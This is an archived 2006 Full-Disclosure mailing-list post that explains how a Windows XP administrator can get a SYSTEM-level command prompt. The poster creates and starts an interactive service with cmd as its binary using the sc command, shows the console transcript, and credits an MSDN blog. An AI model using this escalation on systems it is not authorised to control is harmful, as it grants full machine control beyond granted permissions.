full-disclosure - elevating privileges from Admin to SYSTEM

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <440F112C.5080409@governmentsecurity.org>
Date: Wed Mar  8 18:30:40 2006
From: yorn at governmentsecurity.org (Yorn)
Subject: elevating privileges from Admin to SYSTEM 

Regarding...

 >It's been a while since I played on a Windows box, but I believe you 
can also create a service which launches
 > a useful process (e.g.: "explorer.exe", "cmd.exe") as "Local System". 
Furthermore, I believe that you can do
 > this as a "Power User" too.

&

 >Must check a bit that service lauching thing Nick suggested...

How-To
------------------------
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>sc create systemtest binpath= "cmd /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\>sc start systemtest
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely 
fashion.

C:\>sc delete systemtest
[SC] DeleteService SUCCESS
------------------------

After the second command, it will pop open a command window with system 
privileges. I don't think this method works as Power User, but it's 
quicker than waiting for AT. Also, I stole this from a blog, the 
original info is here:
http://blogs.msdn.com/adioltean/articles/271063.aspx